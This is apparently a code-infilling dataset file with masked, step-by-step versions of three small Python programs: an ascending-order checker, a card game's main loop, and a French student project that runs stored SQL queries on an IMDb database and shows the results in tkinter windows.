{ "blob_id": "1605396a6edb31dd6fe9238a0506f8cfeb794d07", "index": 5568, "step-1": "<mask token>\n", "step-2": "def play_43():\n n = int(input('Enter n :'))\n l = []\n for i in range(n):\n l.append(int(input()))\n for i in range(n - 1):\n for j in range(i + 1, n):\n if l[i] < l[j]:\n continue\n return 'no'\n return 'Yes'\n\n\n<mask token>\n", "step-3": "def play_43():\n n = int(input('Enter n :'))\n l = []\n for i in range(n):\n l.append(int(input()))\n for i in range(n - 1):\n for j in range(i + 1, n):\n if l[i] < l[j]:\n continue\n return 'no'\n return 'Yes'\n\n\nplay_43()\n", "step-4": "def play_43():\n\tn=int(input('Enter n :'))\n\tl=[]\n\tfor i in range(n):\n\t\tl.append(int(input()))\n\tfor i in range(n-1):\n\t\tfor j in range(i+1,n):\n\t\t\tif l[i]<l[j]:\n\t\t\t\tcontinue\n\t\t\treturn \"no\"\n\treturn \"Yes\"\nplay_43()\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }

[ 0, 1, 2, 3 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> if __name__ == '__main__': print('New game!') deck = Deck() deck.shuffle() players = deck.deal() auction = Auction(players) auction.bid() tricks = Tricks(auction) tricks.play() <|reserved_special_token_1|> from ob import * if __name__ == '__main__': print('New game!') deck = Deck() deck.shuffle() players = deck.deal() auction = Auction(players) auction.bid() tricks = Tricks(auction) tricks.play() <|reserved_special_token_1|> from ob import * if __name__ == "__main__": # Game starts print('New game!') # Deal deck = Deck() deck.shuffle() players = deck.deal() # Bid auction = Auction(players) auction.bid() # Play tricks = Tricks(auction) tricks.play()

flexible

{ "blob_id": "06161b1f45e435d0273dd193229ad2ecfd46c625", "index": 9002, "step-1": "<mask token>\n", "step-2": "<mask token>\nif __name__ == '__main__':\n print('New game!')\n deck = Deck()\n deck.shuffle()\n players = deck.deal()\n auction = Auction(players)\n auction.bid()\n tricks = Tricks(auction)\n tricks.play()\n", "step-3": "from ob import *\nif __name__ == '__main__':\n print('New game!')\n deck = Deck()\n deck.shuffle()\n players = deck.deal()\n auction = Auction(players)\n auction.bid()\n tricks = Tricks(auction)\n tricks.play()\n", "step-4": "from ob import *\n\nif __name__ == \"__main__\":\n # Game starts\n print('New game!')\n\n # Deal\n deck = Deck()\n deck.shuffle()\n players = deck.deal()\n\n # Bid\n auction = Auction(players)\n auction.bid()\n\n # Play\n tricks = Tricks(auction)\n tricks.play()\n\n\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }

[ 0, 1, 2, 3 ]

<|reserved_special_token_0|> def taille_plus_grande_reponse(reponses): """ Prend en argument une liste. Renvoie la taille du plus grand élément de la liste. """ l = reponses maxi = 0 for i in range(len(l)): if len(str(l[i])) > maxi: maxi = len(str(l[i])) return maxi <|reserved_special_token_0|> def affichage_question(dico, texte, titre='Question'): """ prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère. Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page. """ fenetre = tkinter.Tk() fenetre.title(titre) for i in range(len(texte)): bouton = {} bouton[i] = Button(fenetre, text=texte[i], command=lambda n=i, dico =dico: requete(n, dico)) bouton[i].pack() fenetre.mainloop() <|reserved_special_token_0|> def requete(n, dico): """ prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire. ne renvoie rien """ r = execute(n, dico) afficher_table(execute(n, dico), dico[n][0]) <|reserved_special_token_0|> def afficher_table(table, titre='', debut=0, fin=None): """ prend en argument table une liste et titre une chaine de caractère. ne renvoie rien. """ if titre != '': titre += '\n\n' affichage(titre + texte_table(table, debut, fin), titre) def texte_table(table, debut=0, fin=None): """ prend en argument table une liste. renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table. """ max = taille_plus_grande_reponse(table) texte = '+' + max * '-' + '+\n' for i in range(len(table)): texte = texte + '|' + str(table[i]) + (max - len(str(table[i])) ) * ' ' + '|' + '\n+' + max * '-' + '+\n' return texte <|reserved_special_token_0|> def texte_en_liste(nom_requete, repertoire): requete = fichier_txt_en_texte(chemin(nom_requete, repertoire)) return requete.split() <|reserved_special_token_0|> def stocker_requete(dico, repertoire): """ prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes. ne renvoie rien """ liste = nom_element_du_repertoire(repertoire) for i in range(len(liste)): requete = separer_requete_et_question(liste[i], repertoire) dico[i] = ['#' + str(i + 1) + ') ' + requete[0], requete[1]] def afficher(dico): """ prend en argument un dictionnaire et renvoie ce disctionnaire. """ return dico <|reserved_special_token_0|> <|reserved_special_token_1|> def execute(n, dico): """ Prend en argument n, la position de la requête dans le dictionaire et dico le nom du dictionnaire. Renvoie une liste dont chaque élément est une réponse de la requête. """ l = [] import sqlite3 conn = sqlite3.connect('imdb.db') c = conn.cursor() c.execute(dico[n][1]) for row in c: l.append(row) conn.close() return l def taille_plus_grande_reponse(reponses): """ Prend en argument une liste. Renvoie la taille du plus grand élément de la liste. """ l = reponses maxi = 0 for i in range(len(l)): if len(str(l[i])) > maxi: maxi = len(str(l[i])) return maxi <|reserved_special_token_0|> def affichage_question(dico, texte, titre='Question'): """ prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère. Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page. """ fenetre = tkinter.Tk() fenetre.title(titre) for i in range(len(texte)): bouton = {} bouton[i] = Button(fenetre, text=texte[i], command=lambda n=i, dico =dico: requete(n, dico)) bouton[i].pack() fenetre.mainloop() <|reserved_special_token_0|> def requete(n, dico): """ prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire. ne renvoie rien """ r = execute(n, dico) afficher_table(execute(n, dico), dico[n][0]) <|reserved_special_token_0|> def afficher_table(table, titre='', debut=0, fin=None): """ prend en argument table une liste et titre une chaine de caractère. ne renvoie rien. """ if titre != '': titre += '\n\n' affichage(titre + texte_table(table, debut, fin), titre) def texte_table(table, debut=0, fin=None): """ prend en argument table une liste. renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table. """ max = taille_plus_grande_reponse(table) texte = '+' + max * '-' + '+\n' for i in range(len(table)): texte = texte + '|' + str(table[i]) + (max - len(str(table[i])) ) * ' ' + '|' + '\n+' + max * '-' + '+\n' return texte <|reserved_special_token_0|> def texte_en_liste(nom_requete, repertoire): requete = fichier_txt_en_texte(chemin(nom_requete, repertoire)) return requete.split() <|reserved_special_token_0|> def creer_dictionnaire_vide(): """ Ne contient aucun argument et renvoie un dictionnaire vide. """ dico = {} return dico def nom_element_du_repertoire(repertoire): """ prend en argument le nom d'un répertoire ranger dans le dossier projetsqlKilian. renvoie une liste dont chaque élément est le nom d'un des fichier du repertoir. """ path = ( 'C:\\Users\\Elève\\Desktop\\projet NSI\\projetsqlKilian\\projetsqlKilian\\' + repertoire) nom_requete = os.listdir(path) return nom_requete def stocker_requete(dico, repertoire): """ prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes. ne renvoie rien """ liste = nom_element_du_repertoire(repertoire) for i in range(len(liste)): requete = separer_requete_et_question(liste[i], repertoire) dico[i] = ['#' + str(i + 1) + ') ' + requete[0], requete[1]] def afficher(dico): """ prend en argument un dictionnaire et renvoie ce disctionnaire. """ return dico <|reserved_special_token_0|> <|reserved_special_token_1|> def execute(n, dico): """ Prend en argument n, la position de la requête dans le dictionaire et dico le nom du dictionnaire. Renvoie une liste dont chaque élément est une réponse de la requête. """ l = [] import sqlite3 conn = sqlite3.connect('imdb.db') c = conn.cursor() c.execute(dico[n][1]) for row in c: l.append(row) conn.close() return l def taille_plus_grande_reponse(reponses): """ Prend en argument une liste. Renvoie la taille du plus grand élément de la liste. """ l = reponses maxi = 0 for i in range(len(l)): if len(str(l[i])) > maxi: maxi = len(str(l[i])) return maxi <|reserved_special_token_0|> def affichage_question(dico, texte, titre='Question'): """ prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère. Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page. """ fenetre = tkinter.Tk() fenetre.title(titre) for i in range(len(texte)): bouton = {} bouton[i] = Button(fenetre, text=texte[i], command=lambda n=i, dico =dico: requete(n, dico)) bouton[i].pack() fenetre.mainloop() <|reserved_special_token_0|> def requete(n, dico): """ prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire. ne renvoie rien """ r = execute(n, dico) afficher_table(execute(n, dico), dico[n][0]) <|reserved_special_token_0|> def afficher_table(table, titre='', debut=0, fin=None): """ prend en argument table une liste et titre une chaine de caractère. ne renvoie rien. """ if titre != '': titre += '\n\n' affichage(titre + texte_table(table, debut, fin), titre) def texte_table(table, debut=0, fin=None): """ prend en argument table une liste. renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table. """ max = taille_plus_grande_reponse(table) texte = '+' + max * '-' + '+\n' for i in range(len(table)): texte = texte + '|' + str(table[i]) + (max - len(str(table[i])) ) * ' ' + '|' + '\n+' + max * '-' + '+\n' return texte <|reserved_special_token_0|> def fichier_txt_en_texte(fichier): """ prend en argument le chemin d'un fichier texte Renvoie le contenu du fichier texte sous forme de chaîne de caractère. """ with open(fichier, 'r') as requete: return requete.read() def chemin(nom, repertoire): """ Prend en argument le nom du fichier où est stocké la requête et le nom du répertoire dans lequel est stocké la requête. Renvoie le chemin de la requête. """ return repertoire + '/' + nom def texte_en_liste(nom_requete, repertoire): requete = fichier_txt_en_texte(chemin(nom_requete, repertoire)) return requete.split() <|reserved_special_token_0|> def creer_dictionnaire_vide(): """ Ne contient aucun argument et renvoie un dictionnaire vide. """ dico = {} return dico def nom_element_du_repertoire(repertoire): """ prend en argument le nom d'un répertoire ranger dans le dossier projetsqlKilian. renvoie une liste dont chaque élément est le nom d'un des fichier du repertoir. """ path = ( 'C:\\Users\\Elève\\Desktop\\projet NSI\\projetsqlKilian\\projetsqlKilian\\' + repertoire) nom_requete = os.listdir(path) return nom_requete def stocker_requete(dico, repertoire): """ prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes. ne renvoie rien """ liste = nom_element_du_repertoire(repertoire) for i in range(len(liste)): requete = separer_requete_et_question(liste[i], repertoire) dico[i] = ['#' + str(i + 1) + ') ' + requete[0], requete[1]] def afficher(dico): """ prend en argument un dictionnaire et renvoie ce disctionnaire. """ return dico <|reserved_special_token_0|> <|reserved_special_token_1|> def execute(n, dico): """ Prend en argument n, la position de la requête dans le dictionaire et dico le nom du dictionnaire. Renvoie une liste dont chaque élément est une réponse de la requête. """ l = [] import sqlite3 conn = sqlite3.connect('imdb.db') c = conn.cursor() c.execute(dico[n][1]) for row in c: l.append(row) conn.close() return l def taille_plus_grande_reponse(reponses): """ Prend en argument une liste. Renvoie la taille du plus grand élément de la liste. """ l = reponses maxi = 0 for i in range(len(l)): if len(str(l[i])) > maxi: maxi = len(str(l[i])) return maxi <|reserved_special_token_0|> def affichage_question(dico, texte, titre='Question'): """ prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère. Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page. """ fenetre = tkinter.Tk() fenetre.title(titre) for i in range(len(texte)): bouton = {} bouton[i] = Button(fenetre, text=texte[i], command=lambda n=i, dico =dico: requete(n, dico)) bouton[i].pack() fenetre.mainloop() <|reserved_special_token_0|> def requete(n, dico): """ prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire. ne renvoie rien """ r = execute(n, dico) afficher_table(execute(n, dico), dico[n][0]) <|reserved_special_token_0|> def afficher_table(table, titre='', debut=0, fin=None): """ prend en argument table une liste et titre une chaine de caractère. ne renvoie rien. """ if titre != '': titre += '\n\n' affichage(titre + texte_table(table, debut, fin), titre) def texte_table(table, debut=0, fin=None): """ prend en argument table une liste. renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table. """ max = taille_plus_grande_reponse(table) texte = '+' + max * '-' + '+\n' for i in range(len(table)): texte = texte + '|' + str(table[i]) + (max - len(str(table[i])) ) * ' ' + '|' + '\n+' + max * '-' + '+\n' return texte <|reserved_special_token_0|> def fichier_txt_en_texte(fichier): """ prend en argument le chemin d'un fichier texte Renvoie le contenu du fichier texte sous forme de chaîne de caractère. """ with open(fichier, 'r') as requete: return requete.read() def chemin(nom, repertoire): """ Prend en argument le nom du fichier où est stocké la requête et le nom du répertoire dans lequel est stocké la requête. Renvoie le chemin de la requête. """ return repertoire + '/' + nom def texte_en_liste(nom_requete, repertoire): requete = fichier_txt_en_texte(chemin(nom_requete, repertoire)) return requete.split() def liste_en_texte(liste): """ prend en argument une liste et un indice et renvoie la même liste mais l'élement d'indice 'n' est transformé en texte. """ texte = '' for i in range(len(liste)): texte = texte + str(liste[i]) + ' ' return texte <|reserved_special_token_0|> def creer_dictionnaire_vide(): """ Ne contient aucun argument et renvoie un dictionnaire vide. """ dico = {} return dico def nom_element_du_repertoire(repertoire): """ prend en argument le nom d'un répertoire ranger dans le dossier projetsqlKilian. renvoie une liste dont chaque élément est le nom d'un des fichier du repertoir. """ path = ( 'C:\\Users\\Elève\\Desktop\\projet NSI\\projetsqlKilian\\projetsqlKilian\\' + repertoire) nom_requete = os.listdir(path) return nom_requete def stocker_requete(dico, repertoire): """ prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes. ne renvoie rien """ liste = nom_element_du_repertoire(repertoire) for i in range(len(liste)): requete = separer_requete_et_question(liste[i], repertoire) dico[i] = ['#' + str(i + 1) + ') ' + requete[0], requete[1]] def afficher(dico): """ prend en argument un dictionnaire et renvoie ce disctionnaire. """ return dico <|reserved_special_token_0|> <|reserved_special_token_1|> def execute(n,dico): """ Prend en argument n, la position de la requête dans le dictionaire et dico le nom du dictionnaire. Renvoie une liste dont chaque élément est une réponse de la requête. """ l = [] import sqlite3 conn = sqlite3.connect('imdb.db') c = conn.cursor() c.execute(dico[n][1]) for row in c: l.append(row) conn.close() return l def taille_plus_grande_reponse(reponses): """ Prend en argument une liste. Renvoie la taille du plus grand élément de la liste. """ l = reponses maxi = 0 for i in range(len(l)): if len(str(l[i])) > maxi: maxi = len(str(l[i])) return maxi """affichage question""""""""""""""""""""""""""" from tkinter import * def question(dico): """ prend en argument un disctionnaire. Ne renvoie rien. """ l = [] for i in range(len(dico)): l.append(dico[i][0]) affichage_question(dico,l) def affichage_question(dico, texte, titre = "Question"): """ prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère. Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page. """ fenetre = tkinter.Tk() fenetre.title(titre) for i in range(len(texte)): bouton={} bouton[i]=Button(fenetre, text=texte[i], command=lambda n=i, dico=dico:requete(n,dico)) bouton[i].pack() fenetre.mainloop() """""""""""""""""""""""""""""""""""""""""""""""" def requete(n,dico): """ prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire. ne renvoie rien """ r = execute(n,dico) afficher_table(execute(n,dico),dico[n][0]) import tkinter import os def afficher_table(table, titre ="", debut = 0, fin = None): """ prend en argument table une liste et titre une chaine de caractère. ne renvoie rien. """ if titre != "": titre += "\n\n" #print(titre + texte_table(table, debut, fin)) affichage(titre + texte_table(table, debut, fin), titre) def texte_table(table, debut = 0, fin = None): """ prend en argument table une liste. renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table. """ max = taille_plus_grande_reponse(table) texte = '+' + max * '-' + '+\n' for i in range(len(table)): texte = texte + '|' + str(table[i]) + (max - len(str(table[i]))) * ' ' + '|' + '\n+' + max * '-' + '+\n' return texte def affichage(texte, titre = "Requêtes tables"): """ prend en argument texte une chaîne de caractère et titre une chaine de caractère renvoie une fenêtre tkinter """ root = tkinter.Tk() root.title(str(titre)) RWidth=root.winfo_screenwidth() - 100 RHeight=root.winfo_screenheight() - 100 root.geometry("%dx%d+50+0"%(RWidth, RHeight)) text=tkinter.Text(root, wrap = 'none') scroll_x=tkinter.Scrollbar(text.master, orient='horizontal', command = text.xview) scroll_x.config(command = text.xview) text.configure(xscrollcommand = scroll_x.set) scroll_x.pack(side = 'bottom', fill = 'x', anchor = 'w') scroll_y = tkinter.Scrollbar(text.master) scroll_y.config(command = text.yview) text.configure(yscrollcommand = scroll_y.set) scroll_y.pack(side = tkinter.RIGHT, fill = 'y') text.insert("1.0", texte) text.pack(side = tkinter.LEFT, expand = True, fill = tkinter.BOTH) root.mainloop() def fichier_txt_en_texte(fichier): """ prend en argument le chemin d'un fichier texte Renvoie le contenu du fichier texte sous forme de chaîne de caractère. """ with open(fichier, "r") as requete: return requete.read() def chemin(nom, repertoire): """ Prend en argument le nom du fichier où est stocké la requête et le nom du répertoire dans lequel est stocké la requête. Renvoie le chemin de la requête. """ return repertoire + '/' + nom def texte_en_liste(nom_requete, repertoire): requete = fichier_txt_en_texte(chemin(nom_requete, repertoire)) return requete.split() def liste_en_texte(liste): """ prend en argument une liste et un indice et renvoie la même liste mais l'élement d'indice 'n' est transformé en texte. """ texte = "" for i in range(len(liste)): texte = texte + str(liste[i]) + " " return texte def separer_requete_et_question(nom, repertoire): """ prend en argument le numéro de la requête et renvoie la question et la requête sésparé. """ requete = texte_en_liste(nom, repertoire) #transforme la requête en tableau question = "" for i in range(len(requete)): #cherche le moment où la question s'arrête et sépare la question de la requête if requete[i] == "?": question = requete[0:i+1] #stock la question requete = requete[i+1:len(requete)] #stock la réponse break #stop la boucle quand la "?" est trouvé return [liste_en_texte(question),liste_en_texte(requete)] def creer_dictionnaire_vide(): """ Ne contient aucun argument et renvoie un dictionnaire vide. """ dico = {} return dico def nom_element_du_repertoire(repertoire): """ prend en argument le nom d'un répertoire ranger dans le dossier projetsqlKilian. renvoie une liste dont chaque élément est le nom d'un des fichier du repertoir. """ path = "C:\\Users\\Elève\\Desktop\\projet NSI\\projetsqlKilian\\projetsqlKilian\\" + repertoire nom_requete = os.listdir(path) return nom_requete def stocker_requete(dico, repertoire): """ prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes. ne renvoie rien """ liste = nom_element_du_repertoire(repertoire) for i in range(len(liste)): requete = separer_requete_et_question(liste[i], repertoire) dico[i] = ['#' + str(i+1) + ') ' + requete[0], requete[1]] def afficher(dico): """ prend en argument un dictionnaire et renvoie ce disctionnaire. """ return dico a = creer_dictionnaire_vide() stocker_requete(a,'requête') #print(afficher(a)) question(a) #print(nom_element_du_repertoire('requête')) #requete(a) #print(execute(1,a)) #print(taille_plus_grande_reponse(execute(1,a)))

flexible

{ "blob_id": "7618d7fde3774a04ac2005dad104e54b9988d3e8", "index": 9487, "step-1": "<mask token>\n\n\ndef taille_plus_grande_reponse(reponses):\n \"\"\"\n Prend en argument une liste.\n Renvoie la taille du plus grand élément de la liste.\n \"\"\"\n l = reponses\n maxi = 0\n for i in range(len(l)):\n if len(str(l[i])) > maxi:\n maxi = len(str(l[i]))\n return maxi\n\n\n<mask token>\n\n\ndef affichage_question(dico, texte, titre='Question'):\n \"\"\"\n prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère.\n Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page.\n \"\"\"\n fenetre = tkinter.Tk()\n fenetre.title(titre)\n for i in range(len(texte)):\n bouton = {}\n bouton[i] = Button(fenetre, text=texte[i], command=lambda n=i, dico\n =dico: requete(n, dico))\n bouton[i].pack()\n fenetre.mainloop()\n\n\n<mask token>\n\n\ndef requete(n, dico):\n \"\"\"\n prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire.\n ne renvoie rien\n \"\"\"\n r = execute(n, dico)\n afficher_table(execute(n, dico), dico[n][0])\n\n\n<mask token>\n\n\ndef afficher_table(table, titre='', debut=0, fin=None):\n \"\"\"\n prend en argument table une liste et titre une chaine de caractère.\n ne renvoie rien.\n \"\"\"\n if titre != '':\n titre += '\\n\\n'\n affichage(titre + texte_table(table, debut, fin), titre)\n\n\ndef texte_table(table, debut=0, fin=None):\n \"\"\"\n prend en argument table une liste.\n renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table.\n \"\"\"\n max = taille_plus_grande_reponse(table)\n texte = '+' + max * '-' + '+\\n'\n for i in range(len(table)):\n texte = texte + '|' + str(table[i]) + (max - len(str(table[i]))\n ) * ' ' + '|' + '\\n+' + max * '-' + '+\\n'\n return texte\n\n\n<mask token>\n\n\ndef texte_en_liste(nom_requete, repertoire):\n requete = fichier_txt_en_texte(chemin(nom_requete, repertoire))\n return requete.split()\n\n\n<mask token>\n\n\ndef stocker_requete(dico, repertoire):\n \"\"\"\n prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes.\n ne renvoie rien\n \"\"\"\n liste = nom_element_du_repertoire(repertoire)\n for i in range(len(liste)):\n requete = separer_requete_et_question(liste[i], repertoire)\n dico[i] = ['#' + str(i + 1) + ') ' + requete[0], requete[1]]\n\n\ndef afficher(dico):\n \"\"\"\n prend en argument un dictionnaire et renvoie ce disctionnaire.\n \"\"\"\n return dico\n\n\n<mask token>\n", "step-2": "def execute(n, dico):\n \"\"\"\n Prend en argument n, la position de la requête dans le dictionaire et dico le nom du dictionnaire.\n Renvoie une liste dont chaque élément est une réponse de la requête.\n \"\"\"\n l = []\n import sqlite3\n conn = sqlite3.connect('imdb.db')\n c = conn.cursor()\n c.execute(dico[n][1])\n for row in c:\n l.append(row)\n conn.close()\n return l\n\n\ndef taille_plus_grande_reponse(reponses):\n \"\"\"\n Prend en argument une liste.\n Renvoie la taille du plus grand élément de la liste.\n \"\"\"\n l = reponses\n maxi = 0\n for i in range(len(l)):\n if len(str(l[i])) > maxi:\n maxi = len(str(l[i]))\n return maxi\n\n\n<mask token>\n\n\ndef affichage_question(dico, texte, titre='Question'):\n \"\"\"\n prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère.\n Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page.\n \"\"\"\n fenetre = tkinter.Tk()\n fenetre.title(titre)\n for i in range(len(texte)):\n bouton = {}\n bouton[i] = Button(fenetre, text=texte[i], command=lambda n=i, dico\n =dico: requete(n, dico))\n bouton[i].pack()\n fenetre.mainloop()\n\n\n<mask token>\n\n\ndef requete(n, dico):\n \"\"\"\n prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire.\n ne renvoie rien\n \"\"\"\n r = execute(n, dico)\n afficher_table(execute(n, dico), dico[n][0])\n\n\n<mask token>\n\n\ndef afficher_table(table, titre='', debut=0, fin=None):\n \"\"\"\n prend en argument table une liste et titre une chaine de caractère.\n ne renvoie rien.\n \"\"\"\n if titre != '':\n titre += '\\n\\n'\n affichage(titre + texte_table(table, debut, fin), titre)\n\n\ndef texte_table(table, debut=0, fin=None):\n \"\"\"\n prend en argument table une liste.\n renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table.\n \"\"\"\n max = taille_plus_grande_reponse(table)\n texte = '+' + max * '-' + '+\\n'\n for i in range(len(table)):\n texte = texte + '|' + str(table[i]) + (max - len(str(table[i]))\n ) * ' ' + '|' + '\\n+' + max * '-' + '+\\n'\n return texte\n\n\n<mask token>\n\n\ndef texte_en_liste(nom_requete, repertoire):\n requete = fichier_txt_en_texte(chemin(nom_requete, repertoire))\n return requete.split()\n\n\n<mask token>\n\n\ndef creer_dictionnaire_vide():\n \"\"\"\n Ne contient aucun argument et renvoie un dictionnaire vide.\n \"\"\"\n dico = {}\n return dico\n\n\ndef nom_element_du_repertoire(repertoire):\n \"\"\"\n prend en argument le nom d'un répertoire ranger dans le dossier projetsqlKilian.\n renvoie une liste dont chaque élément est le nom d'un des fichier du repertoir.\n \"\"\"\n path = (\n 'C:\\\\Users\\\\Elève\\\\Desktop\\\\projet NSI\\\\projetsqlKilian\\\\projetsqlKilian\\\\'\n + repertoire)\n nom_requete = os.listdir(path)\n return nom_requete\n\n\ndef stocker_requete(dico, repertoire):\n \"\"\"\n prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes.\n ne renvoie rien\n \"\"\"\n liste = nom_element_du_repertoire(repertoire)\n for i in range(len(liste)):\n requete = separer_requete_et_question(liste[i], repertoire)\n dico[i] = ['#' + str(i + 1) + ') ' + requete[0], requete[1]]\n\n\ndef afficher(dico):\n \"\"\"\n prend en argument un dictionnaire et renvoie ce disctionnaire.\n \"\"\"\n return dico\n\n\n<mask token>\n", "step-3": "def execute(n, dico):\n \"\"\"\n Prend en argument n, la position de la requête dans le dictionaire et dico le nom du dictionnaire.\n Renvoie une liste dont chaque élément est une réponse de la requête.\n \"\"\"\n l = []\n import sqlite3\n conn = sqlite3.connect('imdb.db')\n c = conn.cursor()\n c.execute(dico[n][1])\n for row in c:\n l.append(row)\n conn.close()\n return l\n\n\ndef taille_plus_grande_reponse(reponses):\n \"\"\"\n Prend en argument une liste.\n Renvoie la taille du plus grand élément de la liste.\n \"\"\"\n l = reponses\n maxi = 0\n for i in range(len(l)):\n if len(str(l[i])) > maxi:\n maxi = len(str(l[i]))\n return maxi\n\n\n<mask token>\n\n\ndef affichage_question(dico, texte, titre='Question'):\n \"\"\"\n prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère.\n Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page.\n \"\"\"\n fenetre = tkinter.Tk()\n fenetre.title(titre)\n for i in range(len(texte)):\n bouton = {}\n bouton[i] = Button(fenetre, text=texte[i], command=lambda n=i, dico\n =dico: requete(n, dico))\n bouton[i].pack()\n fenetre.mainloop()\n\n\n<mask token>\n\n\ndef requete(n, dico):\n \"\"\"\n prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire.\n ne renvoie rien\n \"\"\"\n r = execute(n, dico)\n afficher_table(execute(n, dico), dico[n][0])\n\n\n<mask token>\n\n\ndef afficher_table(table, titre='', debut=0, fin=None):\n \"\"\"\n prend en argument table une liste et titre une chaine de caractère.\n ne renvoie rien.\n \"\"\"\n if titre != '':\n titre += '\\n\\n'\n affichage(titre + texte_table(table, debut, fin), titre)\n\n\ndef texte_table(table, debut=0, fin=None):\n \"\"\"\n prend en argument table une liste.\n renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table.\n \"\"\"\n max = taille_plus_grande_reponse(table)\n texte = '+' + max * '-' + '+\\n'\n for i in range(len(table)):\n texte = texte + '|' + str(table[i]) + (max - len(str(table[i]))\n ) * ' ' + '|' + '\\n+' + max * '-' + '+\\n'\n return texte\n\n\n<mask token>\n\n\ndef fichier_txt_en_texte(fichier):\n \"\"\"\n prend en argument le chemin d'un fichier texte\n Renvoie le contenu du fichier texte sous forme de chaîne de caractère.\n \"\"\"\n with open(fichier, 'r') as requete:\n return requete.read()\n\n\ndef chemin(nom, repertoire):\n \"\"\"\n Prend en argument le nom du fichier où est stocké la requête et le nom du répertoire dans lequel est stocké la requête.\n Renvoie le chemin de la requête.\n \"\"\"\n return repertoire + '/' + nom\n\n\ndef texte_en_liste(nom_requete, repertoire):\n requete = fichier_txt_en_texte(chemin(nom_requete, repertoire))\n return requete.split()\n\n\n<mask token>\n\n\ndef creer_dictionnaire_vide():\n \"\"\"\n Ne contient aucun argument et renvoie un dictionnaire vide.\n \"\"\"\n dico = {}\n return dico\n\n\ndef nom_element_du_repertoire(repertoire):\n \"\"\"\n prend en argument le nom d'un répertoire ranger dans le dossier projetsqlKilian.\n renvoie une liste dont chaque élément est le nom d'un des fichier du repertoir.\n \"\"\"\n path = (\n 'C:\\\\Users\\\\Elève\\\\Desktop\\\\projet NSI\\\\projetsqlKilian\\\\projetsqlKilian\\\\'\n + repertoire)\n nom_requete = os.listdir(path)\n return nom_requete\n\n\ndef stocker_requete(dico, repertoire):\n \"\"\"\n prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes.\n ne renvoie rien\n \"\"\"\n liste = nom_element_du_repertoire(repertoire)\n for i in range(len(liste)):\n requete = separer_requete_et_question(liste[i], repertoire)\n dico[i] = ['#' + str(i + 1) + ') ' + requete[0], requete[1]]\n\n\ndef afficher(dico):\n \"\"\"\n prend en argument un dictionnaire et renvoie ce disctionnaire.\n \"\"\"\n return dico\n\n\n<mask token>\n", "step-4": "def execute(n, dico):\n \"\"\"\n Prend en argument n, la position de la requête dans le dictionaire et dico le nom du dictionnaire.\n Renvoie une liste dont chaque élément est une réponse de la requête.\n \"\"\"\n l = []\n import sqlite3\n conn = sqlite3.connect('imdb.db')\n c = conn.cursor()\n c.execute(dico[n][1])\n for row in c:\n l.append(row)\n conn.close()\n return l\n\n\ndef taille_plus_grande_reponse(reponses):\n \"\"\"\n Prend en argument une liste.\n Renvoie la taille du plus grand élément de la liste.\n \"\"\"\n l = reponses\n maxi = 0\n for i in range(len(l)):\n if len(str(l[i])) > maxi:\n maxi = len(str(l[i]))\n return maxi\n\n\n<mask token>\n\n\ndef affichage_question(dico, texte, titre='Question'):\n \"\"\"\n prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère.\n Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page.\n \"\"\"\n fenetre = tkinter.Tk()\n fenetre.title(titre)\n for i in range(len(texte)):\n bouton = {}\n bouton[i] = Button(fenetre, text=texte[i], command=lambda n=i, dico\n =dico: requete(n, dico))\n bouton[i].pack()\n fenetre.mainloop()\n\n\n<mask token>\n\n\ndef requete(n, dico):\n \"\"\"\n prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire.\n ne renvoie rien\n \"\"\"\n r = execute(n, dico)\n afficher_table(execute(n, dico), dico[n][0])\n\n\n<mask token>\n\n\ndef afficher_table(table, titre='', debut=0, fin=None):\n \"\"\"\n prend en argument table une liste et titre une chaine de caractère.\n ne renvoie 